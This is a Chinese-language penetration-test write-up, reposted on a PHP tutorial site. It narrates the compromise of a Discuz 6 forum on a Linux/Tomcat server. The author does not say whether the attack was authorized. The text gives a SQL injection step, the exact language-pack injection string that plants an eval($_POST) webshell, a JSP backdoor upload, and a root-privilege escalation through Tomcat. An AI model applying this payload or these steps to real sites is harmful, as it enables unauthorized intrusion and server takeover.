来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 题记:最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。测试过程:1、首先探测目标。经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论...
题记:
最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。 测试过程: 1、首先探测目标。 经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论坛则采用Discuz 6.0(PHP)。 2、确定攻击方向。 经过简单测试,网站管理后台不存在常见用户名和密码组合,同时Tomcat 无弱口令漏洞,而Discuz 6存在多个漏洞,因此基本选定论坛作为主攻方向。 3、发现漏洞。 经过查询漏洞公告,发现了论坛上几个跨站点,但是注入点测试均不成功。于是利用扫描器对网站和论坛进行应用与系统扫描,发现存在跨站与SQL注入。 4、利用漏洞。 两相比较,注入点比跨站危害更大,获取信息手段更直接,因此,首先考虑利用SQL注入漏洞。将注入点放到穿山甲(Pangolin )中进行数据猜解,成功猜解出当前 数据库用户、数据库版本、数据库名称等敏感数据。但是对表的猜解出现问题,无法猜解出完整表名,只能大概确定表前缀为“cdb_”(见笑了,我对Discuz 不了解)。多次使用穿山甲并更换版本,仍无法成功猜解表名。 无奈之下,只有从其他方向入手。因此,搜索并下载了Discuz 6,对其数据库分析,这时我才知道原来“cdb_”是Discuz 的固定表名前缀。到这里,确定了需要猜解的表名cdb_admin。手动添加表名及关键列名至pangolin 中,继续猜解,成功猜解出论坛admin的密文,经过查询,获取了管理密码明文。 5、获取webshell。 www.2cto.com 在成功进入管理后台后,我一度迷茫,被网上各种利用Discuz 后台获取webshell的方法所困惑。为保险起见,我在本地搭建测试环境,多次尝试利用模板编辑的语言包部分进行一句话木马的获取,均不成功。无奈之下只好再次转向注入点的利用。 然而,令人失望的是,经过多次猜解,仍不能获取网站后台用户信息。悲剧的一天就这么结束了。 第二天,我不得不继续Discuz 后台的渗透,比较幸运的是,很快搜索到了相关的技巧。具体过程是:进入后台后,点击【模板管理】->【模板编辑】,在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】改为 游客\\\\\\\\');eval($_POST[c]);echo (""//。 经过本地测试,取得了成功,于是在目标论坛上尝试,成功插入了一句话木马,进而上传了大马。 6、提权。 由于php的权限较低,无法读取一些系统文件和配置文件,更别说执行系统命令,因此必须进行提权。 首先我想到的是MySQL提权,因为之前有类似经历。不过,管理员对数据库用户权限进行了严格划分,目标网站使用的用户仅仅是dbowner权限。而利用websehll进行了数据搜寻后始终无法获取root用户密码,不得已放弃此路。 正所谓“山重水复疑无路,柳暗花明又一村”。一筹莫展之际,我突然想到,到现在为止我都未利用网站采用的Tomcat 服务器。与asp.net一样,jsp的权限一般都比较大。于是,我上传jsp后门至网站根目录。果然,利用JSP后门可以成功读取系统文件。恰在此时,我在网上看到邪恶八进制里一篇文章曾提到过:上传JSP后门至Tomcat 类网站目录,直接获取服务器root权限,汗......真的打开了/root目录。 7、最终提权 之所以还有一个最终提权,是因为在第六步中,虽然已经获取了root权限,但是却无法执行系统命令。我使用的是JSP Browser1.2。而数据库root用户密码仍不可得,因此到目前无法真正完全获取服务器权限(添加一个管理员账号)。 对JSP一窍不同的我,经过搜索与询问,确认是可以利用JSP执行Linux系统命令的。但无奈自己水平太低,不会手动写。只好分析JSP Browser 。让我吃惊的是,原来,该后门实际上是提供Linux 命令执行功能的: private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix 稍微懂点代码的人都知道上面是什么意思了。至此,问题就简单了,将windows 类的注释掉,启用Unix 类即可。修改完成后重新上传该Webshell,成功执行系统命令。 后记: 此次渗透中我学到了提权的两种方法。 1、查找数据库配置文件,获取数据库root用户,进而获取系统root权限。 2、利用Tomcat默认配置下运行权限为root权限进行提权,最终获取root权限。 菜鸟一个,见笑了 作者 涅槃小鸟 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com